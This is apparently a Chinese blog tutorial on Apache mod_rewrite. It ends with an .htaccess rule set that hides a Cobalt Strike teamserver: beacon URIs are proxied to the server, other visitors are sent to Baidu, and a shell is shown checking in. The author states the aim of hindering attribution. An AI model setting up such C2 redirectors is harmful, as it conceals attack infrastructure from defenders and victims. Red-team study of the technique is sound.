关于Mod_Rewrite重定向cobaltstrike流量的学习总结

​ 通过使用socat进行重定向虽然可以将我们的teamserver隐藏起来,但是我们如果想做的更好一些,对请求我们重定向主机的流量做一个区分,如果请求来自客户端则重定向到teamserver,如果请求来自其他请求则重定向到其他网站。或者在请求中设置白名单,仅仅允许来自某个特定的ip来访问。这就需要通过apache 的Mod_rewrite来实现。

mod_rewrite入门

什么是mod_rewrite?

​ mod_rewrite是Apache的一个模块,此模块提供了一个基于正则表达式分析器的重写引擎来实时重写URL请求。它支持每个完整规则可以拥有不限数量的子规则以及附加条件规则的灵活而且强大的URL操作机制。此URL操作可以依赖于各种测试,比如服务器变量、环境变量、HTTP头、时间标记,甚至各种格式的用于匹配URL组成部分的查找数据库。 –mod_rewrite模块作用介绍

​ 此模块可以操作URL的所有部分(包括路径信息部分),在服务器级的(httpd.conf)和目录级的(.htaccess)配置都有效,还可以生成最终请求字符串。此重写操作的结果可以是内部子处理,也可以是外部请求的转向,甚至还可以是内部代理处理。一般mod_rewrite默认是不启动的,这时我们需要手动启用它mod_rewrite模块作用介绍

怎么使用mod_rewrite?

​ 首先安装apache

1
sudo yum install httpd

image-20200904183349947

​ 安装好以后,查看是否开启mod_rewrite模块,在下面的路径下,我们可以看到我这里默认已经开启了这个模块。

1
/etc/httpd/conf.modules.d/00-base.conf

image-20200907092649577

​ 也可以使用下面的命令检查是否开启,如果能在输出中找到rewrite_module,则说明开启成功

1
httpd -M

image-20200907095113772

​ 然后我们需要开启.htaccess的支持,找到/etc/httpd/conf/httpd.conf文件,找到下面的内容,将AllowOverride None 替换为AllowOverride All,注意,这里的Directory是/var/www/html

1
2
3
4
5
<Directory " /var/www/html">
....
AllowOverride None //替换为AllowOverride All
Require all granted
</Directory>

​ 设置好以后启动apache服务,再访问一下看是否开启成功

1
service httpd start

image-20200907092757010

image-20200907092849077

​ 开启后我们在/var/www/html/下编写一个2.html文件

1
2
3
4
5
<html>
<body>
2.html
</body>
</html>

​ 再编写一个.htaccess文件,文件内容如下,我大概先解释一下里面的语法

1
2
3
4
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule 1.html 2.html
</IfModule>

​ RewriteEngine on,RewriteEngine 是rewrite功能的总开关,用来开启是否启动url rewrite。

​ RewriteRule 是指令允许我们基于URL将请求重新映射到Apache。一个.htaccess文件可以容纳多个重写规则,但在运行时,Apache按照定义的顺序应用规则。RewriteRule的语法规则如下

1
RewriteRule Pattern Substitution [Flags]

​ Pattern需要匹配的字符串,Substitution替换为其他的url

​ 编写好以后我们测试一下,访问1.html,实际上这个文件是不存在的,但是经过.htaccess的RewriteRule规则,我们访问到了2.html的内容

image-20200907102919483

​ 最后,我们再介绍一个关于mod_rewrite的语法:RewriteCond。

RewriteCond指令允许我们为重写规则添加条件。重写条件包括以下结构:

1
RewriteRule TestString  Condition  [Flags]

​ TestString:要测试的字符串,Condition:匹配的模式,flag如果是NC则代表忽略大小写的匹配

​ 这样可能不好理解,我们通过一些实例来帮助我们理解,我们再设置一个.htaccess文件,内容如下:

1
2
3
4
5
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond "%{HTTP_USER_AGENT}" "test666" [NC]
RewriteRule 1.html 2.html
</IfModule>

​ 当我们使用上面的.htaccess后,我们直接通过浏览器去访问1.html文件,会显示文件不存在,也就是说RewriteRule这个规则没有生效。

image-20200907103945803

​ 我们尝试抓包将user_agent部分修改为test666,这样就可以正常访问到。也就是说规则生效了。

image-20200907104222145

案例一:根据referer来进行筛选

​ .htaccess文件内容如下

1
2
3
4
5
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond "%{HTTP_REFERER}" "test666.com" [NC]
RewriteRule 1.html 2.html
</IfModule>

​ 直接访问1.html仍然访问不到

image-20200907104525076

​ 通过添加referer内容为test666.com则可以正常访问到

image-20200907104621874

mod_rewrite重定向cobaltstrike

​ 根据目标访问的目录不同来进行重定向操作,只有当目标访问到某个特定的地址时,将流量重定向到我们的teamserver,将其他的流量重定向到百度。

​ 我这里cobaltstrike流量这里还是以github上开源的msu_edu.profile的流量来进行配置。我们主要关注下get和post请求部分的url。

1
2
3
4
set uri "/siteindex/a/ /siteindex/b/ /siteindex/c/";  //get请求部分
set uri "/getsearchresults"; //post部分
set uri_x86 "/Events"; //stager部分
set uri_x64 "/events" //stager部分

​ 好的,得到了这个以后我们在重定向的那台主机上设置.htaccess的规则,

1
2
3
4
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(siteindex/a/|siteindex/c/|siteindex/c/|getsearchresults|Events|events)/?$
RewriteRule ^.*$ http://teamserver-ip:8080%{REQUEST_URI} [P]
RewriteRule ^.*$ https://www.baidu.com/? [L,R=302]

​ 设置好以后我们在cobaltstrike中创建一个listener,地址填入重定向主机的地址,这里需要注意,http port(C2)的端口需要和重定向主机apache的端口一致。apache的端口修改在/etc/httpd/conf/httpd.conf中,修改后重启apache服务即可。

image-20200907151628805

image-20200907115815700

​ 设置好以后我们生成一个shell看下能否正常上线并执行命令

image-20200907151750637

image-20200907151845447

​ 但是我们直接去访问重定向的那台主机,如果加入其他路径是无法访问成功的。

image-20200907152105597

总结

​ 通过上面的学习,我们了解了如何通过mod_rewrite的规则设置来进行流量的控制,通过这种方法可以进行访问控制,从而在一定程度上提升溯源的难度。也可以通过https来设置重定向,这样抓到的流量也看不到具体的路径信息。我们也可以给前置服务器加上CDN,这样也可以在一定层面上增加溯源的难度。

参考文章

Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite

CIA Hive Beacon Infrastructure复现1——使用Apache mod_rewrite实现http流量分发